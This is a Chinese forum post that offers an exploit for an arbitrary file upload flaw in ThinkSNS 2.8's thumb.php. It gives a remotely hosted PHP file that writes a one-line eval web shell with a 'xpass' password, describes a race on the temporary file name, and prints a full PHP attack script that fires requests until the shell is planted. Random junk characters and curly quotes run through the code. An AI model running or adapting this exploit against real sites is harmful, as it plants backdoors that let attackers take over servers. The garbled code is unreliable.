找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2006|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞版本) ?8 L1 i8 v3 _5 d
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
# v2 V9 q9 u( k7 S6 t9 Y+ C! ]漏洞文件$ R/ K3 R; Z3 F0 P
存在漏洞的文件为:thumb.php& K# I* n. T) d8 U
作者:韦鲲鹏  ^" [8 |0 p) p6 c; @" `5 m
1、        准备如下PHP文件并上传到服务器(自己的)。
) i; e- I0 r0 C& k* i) {- D文件内容如下:
. T" L0 @$ U% x& M8 R6 w# |<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>- F* b9 L, W6 H$ B
2、        计算出临时的文件名:* D- N- P4 I& C- T
这里我们可以看文件的99行(刚刚是不是没注意呀!)。
$ H/ M  l3 G9 ?( X: w- J
" F9 S: d+ i; @, s3、        上传临时文件。
9 _. f8 }( C. U3 ?6 v) u4 Q4、        访问临时文件。
# y' y5 e" ~% Y: i8 Y但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。), n0 l4 C% {7 _7 W
Exploit文件内容如下:(这个我就不详细解释了)
" k% s: |/ A. t# S# L<?php  C$ h9 d7 j: v
error_reporting(0);
4 N: d5 E1 Z7 b) Q# O, U% eset_time_limit(0);6 E/ B2 T  n2 _" m/ Z" E( X) |
ini_set(“default_socket_timeout”, 5);1 x6 F* z& C3 y( d
function http_send($host, $port, $headers) {
: _" [$ g* z. p6 i$fp = fsockopen($host, $port);3 B. C$ d- c1 ?; K/ i
if (!$fp) die(‘Connection -> fail’);) o' y) o2 D% V! Z. z
fputs($fp, $headers);
% u) W3 m. h6 \return $fp;5 [& m. B6 D, L
}
8 X7 E. s" U% h* R- s2 H! b8 b! Jfunction http_recv($fp) {
, E/ K: z! W5 F- u3 S9 _$ret=”";" Q5 ^0 T8 ^- v/ g$ V) {$ R; B) t3 b
while (!feof($fp))
/ l! S3 ~8 [& G$ret.= fgets($fp, 1024);" ?5 e$ K- H2 H
fclose($fp);
% F, I. k; l1 v6 t- k( `return $ret;
) R4 `/ T5 w# J' }  V& G. t}6 L- t3 C( I6 f( q0 b, M7 ^
print “\n#  ThinkSns Arbitrary File Upload   #\n”;: R5 `- O. y; d1 y/ u! G
print “# Discovered by 韦鲲鹏 #\n\n”;6 [( k, q. \3 r0 {2 A8 y$ s" a1 R6 q' j
if ($argc < 4) {8 r# j# C! j. T/ I( f+ j* b
print “Usage:   php <host> <path> <romote_url>\n”;8 v5 Z2 G& g5 J- c) n
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
7 J4 O( {) M) f- O" edie();) N4 i; P3 r) `3 Q6 |
}: u! c+ @$ p  B7 E
$host = $argv[1];) ^, n9 [* c, Y% a5 Z& ^
$path = $argv[2];
; P. E8 f; Q6 p3 s$url = $argv[3];
5 j& ^) D* M" D9 ]8 G0 u, s2 C$i=0;
9 u' f) _6 n% c4 ?6 v- I4 Y//上传数据包: i. d- @4 U. R6 t' M
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
: G* J# j8 e) \  n/ T0 h$headers_up .= “Host: “.$host.”\r\n”;* ~: W. Y- ?) @; x: `* x
$headers_up .= “Connection: close\r\n\r\n”;! c5 r7 H; P& U1 H
echo $headers_up;
: c* x5 X7 l& h) z7 p//临时文件访问数据包& V3 {; p1 k8 I1 l( d
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;, M/ @+ ?" ^" M" K; T" L: b
$headers .= “Host: “.$host.”\r\n”;
+ z, p" |1 g5 E9 v8 z2 ~$headers .= “Connection: close\r\n\r\n”;8 E& R' J( o- a- X  Y8 s
echo $headers;+ z4 A+ X- u6 V0 F# G
while(++$i<10) {3 p  U; M0 b5 `( T! Z  o1 ~
fclose(http_send($host, 80, $headers));9 Z  @0 Y2 O( h6 U8 K! K0 j
}
! L3 G' V, O# F$ t$ ffclose(http_send($host, 80, $headers_up));
7 a! x* P% X* ]) w9 c: dwhile(++$i<50) {' R0 V# ^* {7 w8 q2 M- i2 ]
fclose(http_send($host, 80, $headers));. w2 i+ {9 l7 e9 @; g4 r" h
}% W( t' W: q* }% z7 F  J
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
' P; A& d8 E4 Y8 W) O$headers .= “Host: “.$host.”\r\n”;8 ^7 g. O9 w) _
$headers .= “Connection: close\r\n\r\n”;
1 h9 u6 W3 E( F1 [3 H0 r- w$res=http_recv(http_send($host, 80, $headers));
& u  f  B* y, O* N+ U/ n" \if(preg_match(‘/200 OK/’,$res)) {
9 O' ]. E3 o  x( aprint “Success!\n\n”;
: B9 @% R9 s+ H% k! }5 ?} else {
2 o9 W6 v- N5 L" S  Q) [print “Fail!\n\n”;7 F: t# Z  N: b) C* C5 ^
}4 |% [' J2 z  F5 s: d
?>! p, S1 {3 t7 _
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表